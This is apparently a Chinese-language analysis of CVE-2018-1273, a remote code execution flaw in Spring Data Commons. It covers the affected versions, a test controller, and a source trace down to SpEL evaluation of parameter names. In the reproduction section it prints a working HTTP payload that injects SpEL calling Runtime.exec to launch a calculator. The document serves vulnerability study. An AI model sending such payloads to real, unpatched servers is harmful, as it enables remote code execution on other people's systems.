Spring-Data-Commons CVE-2018-1273 RCE漏洞分析

一、简介

Spring Data的作用,引用官方的描述:

1
2
3
Spring Data’s mission is to provide a familiar and consistent, Spring-based programming model for data access while still retaining the special traits of the underlying data store.

It makes it easy to use data access technologies, relational and non-relational databases, map-reduce frameworks, and cloud-based data services. This is an umbrella project which contains many subprojects that are specific to a given database. The projects are developed by working together with many of the companies and developers that are behind these exciting technologies.

Google译:

1
2
3
4
Spring Data的使命是为数据访问提供熟悉且一致的基于Spring的编程模型,同时仍保留底层数据存储的特​​殊特性。
它使数据访问技术,关系数据库和非关系数据库,map-reduce框架和基于云的数据服务变得简单易用。
这是一个伞形项目,其中包含许多特定于给定数据库的子项目。
这些项目是通过与这些激动人心的技术背后的许多公司和开发人员合作开发的。

二、利用条件

而此次主要分析的CVE-2018-1273主要涉及的包为Spring-Data-Commons,影响版本范围为1.13 ~ 1.13.10 或 2.0 ~ 2.0.5

在复现此洞前,我们可以随意准备一个普通的Spring MVC web工程,并加入以下依赖:

1
2
3
4
5
<dependency>
<groupId>org.springframework.data</groupId>
<artifactId>spring-data-commons</artifactId>
<version>1.13.10.RELEASE</version>
</dependency>

经过多次调试发现,主要影响入口在于Spring MVC的Dispatcher调度器处理过程中,参数解析使用了Spring-Data-Commons依赖包中的ProxyingHandlerMethodArgumentResolver解析导致。

在跟进ProxyingHandlerMethodArgumentResolver具体实现前,先解释一下Controller接口方法执行前的参数解析为何会选择了它(ProxyingHandlerMethodArgumentResolver)进行参数解析。

原来,在Java中,接口interface是一种规则的定义类class,它并不能被实例化,所以在Controller接口方法中,一旦使用了如下所示的接口去接收请求参数时,并且引入了Spring-Data-Commons的依赖,则在参数解析时,会选择ProxyingHandlerMethodArgumentResolver对参数接收的接口类做一个代理实现,并把参数值解析保存下来。

1
2
3
4
5
6
7
8
9
10
11
12
13
@RestController
public class TestController {

@RequestMapping(value = "/test",method = RequestMethod.POST)
public String postTest(Payload payload) {
return payload.getAAA() + ":" + payload.getBBB();
}

public interface Payload {
String getAAA();
String getBBB();
}
}

可以看到,test接口参数接收使用了一个interface。

现在,我们使用如下payload进行debug:

1
2
3
4
5
POST /test HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

AAA[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator")]=111&BBB=222

启动web项目后,发送payload,我们可以看到,计算器如约而至QAQ

image

好了,到这里,我们已经知道了Spring-Data-Commons CVE-2018-1273 RCE触发的条件以及相应的payload了,下面我们对源码进行具体跟进。

三、源码跟踪

这里我们不再从没多大必要讲解的Spring Dispatcher开始,直接奔到参数解析。

image

可以看到,该接口的interface类参数解析,使用的是ProxyingHandlerMethodArgumentResolver,为了进一步跟踪具体发生了什么,我们跟进该类的resolveArgument方法。

image

根据漏洞触发的代码执行流程,可以发现触发点在createAttribute方法内,根据上下文以及参数、方法名等,我们可以姑且猜测该方法是对http传入的数据,创建了相应的参数类实例进行对参数的存储使用,我们再跟进该方法。

image

看该方法的代码,我们可以发现此处创建了一个MapDataBinder类的对象,并把参数值设置进去,看到这里,就可以解释了为啥前面利用条件所描述的interface Payload 类能接收参数了,原来在这个ProxyingHandlerMethodArgumentResolver(中文应该译为方法参数解析代理处理,额,英文不好,将就着吧)中创建了一个正在的实例MapDataBinder对参数进行存储。

下面继续跟进参数设置的逻辑,即bind方法。

image

可以看到此处接着调用了dobind方法,继续跟进。

image

还是调用了重载方法dobind方法,继续跟进去看看吧。

image

此处发现,还是没有什么重要的逻辑,继续跟进方法applyPropertyValues。

image

此处,关键在于PropertyAccessor的setPropertyValues方法了,继续进一步跟进。

image

此处也跟前面一样调用了重载方法,我们继续跟进去看看什么情况。

image

emmm,还是重载方法,继续。

image

咦,好像有些不一样的东西了,原来payload的触发在于此处,对参数名称进行了spel的执行,好累啊emmm。